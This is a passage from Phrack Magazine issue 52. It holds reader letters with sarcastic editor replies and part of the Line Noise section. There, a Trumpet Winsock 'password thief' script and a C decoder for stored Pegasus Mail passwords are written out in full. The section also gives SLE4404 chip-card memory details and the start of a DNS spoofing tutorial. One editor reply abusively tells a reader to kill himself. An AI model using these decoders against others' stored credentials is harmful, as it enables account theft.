0x32>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear..sir

I had readed yours doc.I'm interesting

about hacking art and learing it.I would like

to ask you.How can I hack my ISP?It's dumbing

I know.But I don't know to ask anybody.

[ I wonder if the aleph1speak to English translator has a `Yoda setting`... ]

0x33>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, I just finished a two hour picture tour at your webpage, looked at every single photo on that hosted there, I know for one thing, with all the film you have used, Kodak must love you! The pic's were a riot, matter of fact, I almost had an accident in my pants I was laughing so hard. Seam's

[ Maybe you should get some rubber pants or those adult diapers. ]

like you and your friends know how to have fun (my kind of people) all we have up here is half‑wit clowns. Anyway, enuf with the bullsh*t,

I just wanted to ask you who owns "INN", if it is you, how did you pay for all that hardware? Where are you located, Cali I assume? How old are you? Any chance of meeting somewhere to chat one day (IRC)?

If it's to personal, I understand, if not, reply..

[ Are you coming on to me? ]

Regards ‑Tyrant

0x34>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ ...Regarding the 'Teardrop' IP fragmentation bug... ]

Dear To whom it concearns,

I do not think you should have posted this about your bug you found. Alot of maniacs got a hold of it and are crashing servers everywhere. The net has turned into anarchy. I have about 4 servers down that i patched. But

[ The Internet is anarchistic by nature. ]

the patch doesnt seem to work.

[ The patch works fine. Perhaps it is you that is broken? ]

I do not think you should have posted that publically like that.

[ Thanks. I'll make sure to file your opinion in the ignorance‑folder. ]

0x35>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm just wondering when is defcon and where can I find out about little bit more?

Regards.

Pav.

[ Defcon is traditionally held during the Summer in Sin City. Damn I love that town. http://www.defcon.org for more info, although the future of

this Con is in question. ]

0x36>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Where can I find ways to make Long Distance phone calls without getting billed (and prefferably without making any boxes?)

[ A phone line for which you do not pay the bill. ]

I'm not an idiot, I just thought I'd ask. :)

[ Is that open to conjecture? ]

0x37>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To Whom It May Concern:

I enjoy reading your stuff in Phrack and I pay attention to those stuff that is writen about unix reading stuff. I am just wonder if there is any way to play tricks or hack linux 1.2.13. It also runs pine under it and I think there is a trick with .rhosts in pine and ls /tmp. Could you please tell me more stuff about this?? I could download the /etc/passwd file but then I have to use a dictionary to hack it and is there away of hacking it without using a dictionary?? And how do I delete my last login file?? Thanks!!

Your Truly

Tag

[ Linux 1.2.13 is one of most inpenetrable versions of Unix out there today. Not only is the Linux O/S reknown for its stalwart and inpenetrable security but the 1.2.13 kernel was where Alan, Eric, Linus and the rest of crew peaked. That kernel revision is all‑but immune to every known form of attack (with the possible exeception of quantum state disassembly). Your best bet is to kill yourself now. ]

0x38>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

How ye all doin there at Phrack, hope your all keepin well.

Anyways before I say anything I'll admit it, I'm a newbie, not a lamer a newbie. I've read all the hacking files I can get my hands on. There's only one small problem...I live in Ireland. A few weeks ago I was given an article written by "Hackwind" (1992 I think) about the hacking scene in Ireland. Believe you me. It's even worse than he says it is. The main problem is that all the files written don't relate to Ireland in any way . I don't even know ONE bbs in Ireland and NO ONE I have spoken to does either. I don't expect you to know much about the hacking scene in Ireland but if you do know anything, anything at all could you please send it to me. I'm dying for information. Information that I can't get my hands on. If you don't know anything about it perhaps you know of some contacts.

Please let me know. Cheers,

N0_eCH0

PS. Keep up the good work at Phrack.

[ Ok, someone in Ireland help this guy out. ]

0x39>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hello my name is FUSION from a group called digital elite alliance and i was wondering if you would like to become allies with us. If so e‑mail me back at XXXX@prodigy.net and then i'll get back to you.

[ Don't hold your breath. Wait. On second thought, do. ]

0x3a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Daemon9,

Hi! I'd like to ask you a very common question. Maybe everyday you have received mails asking it. Yes, what I want to know is how to become a great hacker.

[ Swing from the shoulders, not from the arms. ]

I am a freshman in university. I wanna to be a hacker, not for doing damage to others, but in my own view, being hacker require a lot of knowledge and creative. I aim at knowledge and want to find out new tech, while not just using others'. In fact, I have read many articles about how to become a hacker. And I have done them.

Now, I have mastered C, unix shell, and some of TCP/IP.

So what should I going to learn if I want to be a great hacker like you?

[ If you have mastered the aforementioned topics, you are far greater then I. ]

I am learing socket programming and IP‑spoofing now, do you have any resource on the net to recommend to me?

Please write me back. Hoping to hear from you soon.

Liu Jiangyi

‑‑

Daemon9,

Hi, I forgot to ask you another question. Should I join a hacker group? And have you joined it? If so, please tell me which group I should join. And the mailing list, which one should a hacker join in your own view. Hoping to hear from you soon!

Liu Jiangyi

0x3b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ A few letters to nirva and I. I swear to GOD these aren't made up. I *couldn't* make stuff like this up. ]

Hey Route,

I was wondering if you knew what colours Nirva dyed his hair for defcon and who made the dye, I was also wondering if you had a copy of LISP lying around somewhere. Are you going to the KMFDM concert this friday by any chance? I was wondering if you have ever been bust for hacking or phreaking and how you manage to hack with the constant surveillance by the man? Also if you don't mind telling me, how did you get into hacking and did you have a mentor at any stage?

Ciao and thankx

‑‑

Hey Nirva,

I was wondering how you got Real Kitty to drink coke out of those bottles from McDonalds (or is he just chewing on the straw). I was also wondering who Mike is currently going out with, not to mention you as well? If you could do me a favour and try to convince Mike to give me some webspace as well, I would really appreciate it.

Thankx and Ciao

‑‑

Hey Mike,

How would you like to win a date win with carmen electra, if you would like to, go on over to durex.com and there's a link from there to the american site with the entry form to win the date, and being such a brilliant hacker I don't see how you couldn't manage to rig the contest ;)

Thankx and Ciao

0x3c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Arggh , think of me what you will, but i Can't get over a pic on yer site of nirva, prolly one of the l33t3st looking individuals i've seen, in personal appearance (no, i aint gay), but anyway .. what are those things on his arms ? I saw that photo with the caption "nirva has rickets" or something, but are they implants ? ie part of his image/appearance or where they sum sort of weird disease he picked up ?

[ Due to the vitaman‑D embargo of 1975 ‑ 1978 in New Mexico, nirva contracted the rare disease osteomalacia (rickets). He has it mostly licked these days thanks to heavy amounts of vitamn‑D laced EMF radition treatment he undergoes 2 times a week. Every now and then, however, he lapses, as you can see from the aforementioned picture. ]

tah man .. great page btw

speaxx

0x3d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Line Noise

‑‑‑[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 03 of 20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 2 L I N E N O I S E

‑‑‑‑‑‑‑‑[ Various

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Upon discovering Doctor Jeep's "Trumpet Winsock Password Hacker" in P51‑03, I felt obligated to share a small piece of code that I don't like to admit that I created, far earlier than the esteemed Jeep's published work. As his requires access to a Pascal compiler and does not seem to be coded with portability in mind, the fact that my script requires Trumpet itself to run does not seem too great a hindrance. The irony is that not only is the "cipher" a simple obfuscating XOR, but that Trumpet itself will decode it for you.

<++> password.cmd

# Put in Trumpet Winsock directory, run under "Dialer/Other"

# Cannot currently use any file other than trumpwsk.ini,

# apparently due to implementation errors in the "load" function display \n

display "Trumpet Password Thief 1.0, 8‑18‑95"\n

display \n

if [load $username]

display "username: "

display $username\n

else

display "ERR: cannot load username"\n

end

if [load $password]

display "password: "

display $password\n

else

display "ERR: cannot load password"\n

end

display \n

<‑‑>

‑ anonymous

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Another password decoder for ya... written long ago, I just never bothered to release it...

<++> peg‑dec.c

/*

* Pegasus Mail Password Decoder v1.0 by Belgorath

*/

#include <stdio.h>

/* Decoding/Encoding Tables */

int dec1[1]= { 44 };

int dec2[2]= { 16, 21 };

int dec3[3]= { 10, 22, 28 };

int dec4[4]= { 37, 28, 21, 7 };

int dec5[5]= { 21, 22, 37, 28, 9 };

int dec6[6]= { 22, 15, 28, 42, 17, 2 };

int dec7[7]= { 15, 17, 21, 31, 0, 12, 19 };

int dec8[8]= { 9, 2, 7, 20, 44, 22, 28, 23 };

int *decz[8] = { dec1,dec2,dec3,dec4,dec5,dec6,dec7,dec8 };

int decode_char(int numch, int ch, int pos)

{

ch‑=decz[numch‑1][pos‑1];

if(ch<‑127) ch+=256;

return ch;

}

void main(void)

{

int zz,x,nc;

char *tz;

int inps[20];

nc=0;

tz=malloc(8192);

printf("Enter Pegasus Mail Password: ");

gets(tz);

/* Fun input parsing loop. Hope your malloc bzero's... */

while( *tz ) {

for(x=0;x<strlen(tz)+2;x++) {

if( (tz[x]==' ') || (tz[x]==0) ) {

tz[x]=0;

inps[nc]=atoi(tz);

nc++;

tz+=x+1;

break;

}

}

}

/* Throw away anything past the end */

for(x=0;x<nc;x++) if(inps[x]==‑1) nc=x+1;

/* All pegasus passwords end in ‑1 */

if(inps[nc‑1]!=‑1) {

printf("Invalid Pegasus Mail Password.\n");

return;

}

/* But we throw it away anyway */

nc‑‑;

printf("Decoded Password: [");

for(x=1;x<nc+1;x++) putchar(decode_char(nc,inps[x‑1],x)); printf("]\n");

}

<‑‑>

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Siemens Chip Card Technology

. by Yggdrasil .

:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chip cards differ from one another in memory size, type of memory (PROM or EEPROM), security logic and micro‑controller. This article will discuss the Siemens SLE4404 chip card technology.

The SLE4404 is employed for electronic purse cards and bank transactions, cellular telephony (pre‑payed cards), user IDs for access control, etc. (some examples: SmartCard, ViaCard and Italian Bancomat). Its data can be accessed through a simple TTL serial channel, providing a +5 Vcc power supply from an external source.

Inside the chip

~~~~~~~~~~~~~~~

The chipcard has at its disposal EEPROM memory consisting of a 416‑bit matrix (each row is 16‑bits) that is protected by security logic providing access control.

This is the logic diagram:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Address Counter | ‑‑> | Column Decoder |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^ | 16

| v v

+‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

C3,C8,C2,C5 ‑‑> | Control & | | Row | | User mem 208 bit | C1 (Vcc) ‑‑> | Security | | Decoder | ‑‑> | Sec unit 192 bit | C7 (I/O) <‑‑> | Logic | | | 26 | Special mem unit |

+‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑

^

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The SLE4404 memory is subdivided in three main memory blocks: one is read only (a "PROM" containing the manufacturer code and/or a serial number and an expiration date), the second is both readable and writeable (user memory) and the last block cannot be written to unless the lock‑out fuse has been fused.

This is the memory map:

BLOCK TYPE SIZE (BIT) ADDRESS READABLE WRITEABLE ERASEABLE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Manufacturer code 16 0‑15 Yes No No Application ROM 48 16‑63 Yes No No User code 16 64‑79 [fuse] U.C. U.C. Error counter 4 80‑83 Yes Yes U.C. EEPROM #1 12 84‑95 Yes Yes U.C. EEPROM #2 16 96‑111 Yes U.C. U.C. Frame memory block

‑ F.M. config 2 112‑113 Yes Yes U.C./R.C. ‑ Frame memory 206 114‑319 [cfg] [cfg] U.C./R.C. Frame code 32 320‑351 [fuse] [fuse] [cfg] Frame counter 64 352‑415 Yes Yes [cfg]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Meaning of abbreviations:

U.C. ‑ User code required

(each time the code is entered the error counter is decreased) R.C. ‑ Frame code required

(each time the code is entered the frame counter is decreased) [fuse] ‑ Operation allowed ONLY IF lock‑out fuse is not fused [cfg] ‑ Operation allowed according to frame memory configuration

Frame memory configuration table:

BIT 112 BIT 113 MEMORY MODE READABLE WRITEABLE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0 0 Secret ROM Yes No

0 1 R.O.M. Yes No

1 0 Secret PROM U.C. U.C.

1 1 P.R.O.M. U.C. U.C.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first 16‑bit block is for the Manufacturer Code. The following 48‑bit block is called Application ROM, containing another code (Manufacturer sub code or info, serial number, sub‑type of card, etc).

The User Code is the access code (PIN) used to read/write/erase memory. This code can be modified provided that the fuse was not fused, while the error counter value can be modified even if the fuse was fused...

Please note that access to memory is blocked after four incorrect access trials (checked by the counter). The same is for the Frame Code and the Frame [error] Counter (note that the number of incorrect accesses is limited to three trials instead of four).

Finally, the Frame Memory is generally used for storing personal user information or the credit limit (money that can be fetched in a bank transaction, or the remaining "virtual" credit that a pre‑payed cellular card contains).

The Pin‑out

~~~~~~~~~~~

This is the Siemens SLE4404 pin‑out (N.C. stands for Not Connected):

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| C 1 | C 5 | Contact Pin Info

| | |

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ 1 6 Vcc +5V

| C 2 | | C 6 | 2 5 Reset

| | | | 3 4 Clock

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ 4 3 Test input ‑ N.C.

| C 3 | | C 7 | 5 8 Ground

| | | | 6 7 N.C.

+‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑+ 7 1 Bi‑directional I/O data line

| C 4 | | C 8 | 8 2 Control input (data change)

| | | |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+

"I am for ever walking upon these shores, betwixt the sand and the foam. The high tide will erase my foot‑prints, and the wind will blow away the foam. But the sea and the shore will remain For ever."

Gibran K. Gibran

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

___ ______

/ \ | _ \

| / \ | | | \ |

| |___| | | |_ / |

..oO THE | ‑‑‑ | | / | | CreW Oo..

''' ''' '''''''

presents

DNS ID Hacking

‑‑[1]‑‑ DNS ID Hacking Presentation

You might be wondering what DNS ID Hacking (or Spoofing) is all about. DNS ID Hacking isn't a usual way of hacking/spoofing such jizz or any‑erect. This method is based on a vulnerability on DNS Protocol. More brutal, the DNS ID hack/spoof is very efficient and very strong as there is no generation of DNS daemons that escapes from it (even WinNT!).

‑‑[1.1]‑‑ DNS Protocol mechanism explanation

In the first step, you must know how the DNS works. I will only explain the most important facts of this protocol. In order to do that, we will follow the way of a DNS request packet from A to Z!

Name resolution example:

The client (bla.bibi.com) sends a request of resolution of the domain "www.heike.com". To resolve the name, bla.bibi.com uses "dns.bibi.com" for DNS. Let's take a look at the following picture..

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\

| 111.1.2.123 = bla.bibi.com |

| 111.1.2.222 = dns.bibi.com |

| format: |

| IP_ADDR:PORT‑>IP_ADDR:PORT |

| ex: |

| 111.1.2.123:2999‑>111.1.2.222:53|

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑/

...

gethosbyname("www.heike.com");

...

[bla.bibi.com] [dns.bibi.com]

111.1.2.123:1999 ‑‑‑> [?www.heike.com] ‑‑‑‑‑‑> 111.1.2.222:53

Here we see our resolution name request from source port 1999 which is asking to DNS on port 53 (note: DNS is always on port 53). Now that dns.bibi.com has received the resolution request from bla.bibi.com, dns.bibi.com will have to resolve the name:

[dns.bibi.com] [ns.internic.net]

111.1.2.222:53 ‑‑‑‑‑‑‑‑> [dns?www.heike.com] ‑‑‑‑> 198.41.0.4:53

dns.bibi.com asks ns.internic.net who the root name server for the address of www.heike.com is, and if it doesn't have it and sends the request to a name server which has authority on '.com' domains (note: we send a request to the Internic because it could have this request in its cache).

[ns.internic.net] ns.bibi.com]

198.41.0.4:53 ‑‑‑‑‑‑> [ns for.com is 144.44.44.4] ‑‑‑‑‑‑> 111.1.2.222:53

Here we can see that ns.internic.net answered to ns.bibi.com (which is the DNS that has authority over the domain bibi.com), that the name server of for.com has the IP 144.44.44.4 (let's call it ns.for.com). Now our ns.bibi.com will ask to ns.for.com for the address of www.heike.com, but this one doesn't have it and will forward the request to the DNS of heike.com which has authority for heike.com.

[ns.bibi.com] [ns.for.com]

111.1.2.222:53 ‑‑‑‑‑‑> [?www.heike.com] ‑‑‑‑‑> 144.44.44.4:53

The answer from ns.for.com:

[ns.for.com] ns.bibi.com]

144.44.44.4:53 ‑‑‑‑‑‑>[ns for heike.com is 31.33.7.4] ‑‑‑> 144.44.44.4:53

Now that we know which IP address has authority on the domain "heike.com" (we'll call it ns.heike.com), we ask it what's the IP of the machine www.heike.com.

[ns.bibi.com] [ns.heike.com]

111.1.2.222:53 ‑‑‑‑‑> [?www.heike.com] ‑‑‑‑> 31.33.7.4:53

We now have our answer:

[ns.heike.com] ns.bibi.com]

31.33.7.4:53 ‑‑‑‑‑‑‑> [www.heike.com == 31.33.7.44] ‑‑‑‑> 111.1.2.222:53

Great we have the answer, we can forward it to our client bla.bibi.com.

[ns.bibi.com] bla.bibi.com]

111.1.2.222:53 ‑‑‑‑‑‑‑> [www.heike.com == 31.33.7.44] ‑‑‑‑> 111.1.2.123:1999

Now bla.bibi.com knows the IP of www.heike.com.

Now let's imagine that we'd like to have the name of a machine from its IP, in order to do that, we proceed a bit differently as the IP will have to be transformed.

Reverse name lookup resolution:

100.20.40.3 will become 3.40.20.100.in‑addr.arpa

This method is only for the IP resolution request (reverse DNS).

Let's look at a practical example of when we take the IP address of www.heike.com (31.33.7.44 or "44.7.33.31.in‑addr.arpa" after the translation into a comprehensible format by DNS).

...

gethostbyaddr("31.33.7.44");

...

We send our request to ns.bibi.com:

[bla.bibi.com] ns.bibi.com]

111.1.2.123:2600 ‑‑‑‑‑> [?44.7.33.31.in‑addr.arpa] ‑‑‑‑‑> 111.1.2.222:53

Which is forwarded to ns.internic.net:

[ns.bibi.com] ns.internic.net]

111.1.2.222:53 ‑‑‑‑‑> [?44.7.33.31.in‑addr.arpa] ‑‑‑‑‑‑> 198.41.0.4:53

ns.internic.net will send the IP of a name server which has authority on '31.in‑addr.arpa'.

[ns.internic.net] ns.bibi.com]

198.41.0.4:53 ‑‑> [DNS for 31.in‑addr.arpa is 144.44.44.4] ‑> 111.1.2.222:53

Now ns.bibi.com will ask the same question to the DNS at 144.44.44.4:

[ns.bibi.com] ns.for.com]

111.1.2.222:53 ‑‑‑‑‑>[?44.7.33.31.in‑addr.arpa]‑‑‑‑‑‑> 144.44.44.4:53

And so on. The mechanism is nearly the same that was used for name resolution.

‑‑[1.2]‑‑ DNS packet header

Here is the format of a DNS message :

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| ID (the famous :) | flags |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| numbers of questions | numbers of answer |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| number of RR authority |number of supplementary RR |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

|

\

\ QUESTION \

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

\

\ ANSWER \

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

\

\ Stuff etc.. No matter \

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[1.3]‑‑ Structure of DNS packets.

__ID__

The ID permits us to identify each DNS packet, since exchanges between name servers are from port 53 to port 53, and more it might be more than one request at a time, so the ID is the only way to recognize the different DNS requests. Well talk about it later..

__flags__

The flags area is divided into several parts :

4 bits 3 bits (always 0)

| |

| |

[QR | opcode | AA| TC| RD| RA | zero | rcode ]

| |__|__|__| 4 bits

| |_ 1 bit

|

1 bit

QR = If the QR bit = 0, it means that the packet is a question, otherwise it's an answer.

opcode = If the value is 0 for a normal request, 1 for a reserve request, and 2 for a status request (we don't need to know all these modes).

AA = If it's equal to 1, it says that the name server has an authoritative answer.

TC = No matter

RD = If this flag is to 1, it means "Recursion Request", for example when bla.bibi.com asks ns.bibi.com to resolve the name, the flag tells the DNS to assume this request.

RA = If it's set to 1, it means that recursion is available. This bit is set to 1 in the answer of the name server if it supports recursion.

Zero = Here are three zeroes...

rcode = It contains the return error messages for DNS requests if 0, it means "no error", 3 means "name error"

The 2 following flags don't have any importance for us.

DNS QUESTION:

Here is the format of a DNS question :

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name of the question |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type of question | type of query |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

The structure of the question is like this.

example:

www.heike.com will be [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]

for an IP address, the format remains the same.

44.33.88.123.in‑addr.arpa would be: [2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|‑|a|d|d|r|4|a|r|p|a|0]

[note]: a compression format exists, but we won't cover it.

type of question:

Here are the values that we will use much of the time (there are many more, but these are only ones relevant):

name value

A | 1 | IP Address (resolving a name to an IP) PTR | 12 | Pointer (resolving an IP to a name)

type of query:

The values are the same as the type of question.

DNS ANSWER:

Here is the format of an answer (an RR)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name of the domain

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type | class |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑

| TTL (time to live) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| resource data length |

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| resource data |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

name of the domain:

The name of the domain in reports to the following resource: The domain name is stored in the same way that the part question for the resolution request of www.heike.com, the flag "name of the domain" will contain [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0].

type:

The type flag is the same than "type of query" in the question part of the packet.

class:

The class flag is equal to 1 for Internet data.

time to live:

This flag explains in seconds the time‑life of the information into the name server cache.

resource data length:

The length of resource data, for example if resource data length is 4, it means that the data in resources data are 4 bytes long.

resource data:

here we put the IP for example (at least in our case)

I will offer you a little example that explains this better:

Here is what's happening when ns.bibi.com asks ns.heike.com for www.heike.com's address

ns.bibi.com:53 ‑‑‑> [?www.heike.com] ‑‑‑‑> ns.heike.com:53 (Phear Heike ;)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| ID = 1999 | QR = 0 opcode = 0 RD = 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| numbers of questions = htons(1) | numbers of answers = 0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| number of RR authoritative = 0 | number of supplementary RR = 0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

<the question part>

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type of question = htons(1) | type of query=htons(1) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

here is for the question.

now let's stare the answer of ns.heike.com

ns.heike.com:53 ‑‑>[IP of www.heike.com is 31.33.7.44] ‑‑> ns.bibi.com:53

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| ID = 1999 | QR=1 opcode=0 RD=1 AA =1 RA=1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| numbers of questions = htons(1) | numbers of answers = htons(1) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

| number of RR authoritative = 0 | number of supplementary RR = 0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name of the question = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type of question = htons(1) | type of query = htons(1) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| name of the domain = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| type = htons(1) | class = htons(1) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| time to live = 999999 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| resource data length = htons(4) | resource data=inet_addr("31.33.7.44") |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Yah! That's all for now :))

Here is an analysis:

In the answer QR = 1 because it's an answer :)

AA = 1 because the name server has authority in its domain

RA = 1 because recursion is available

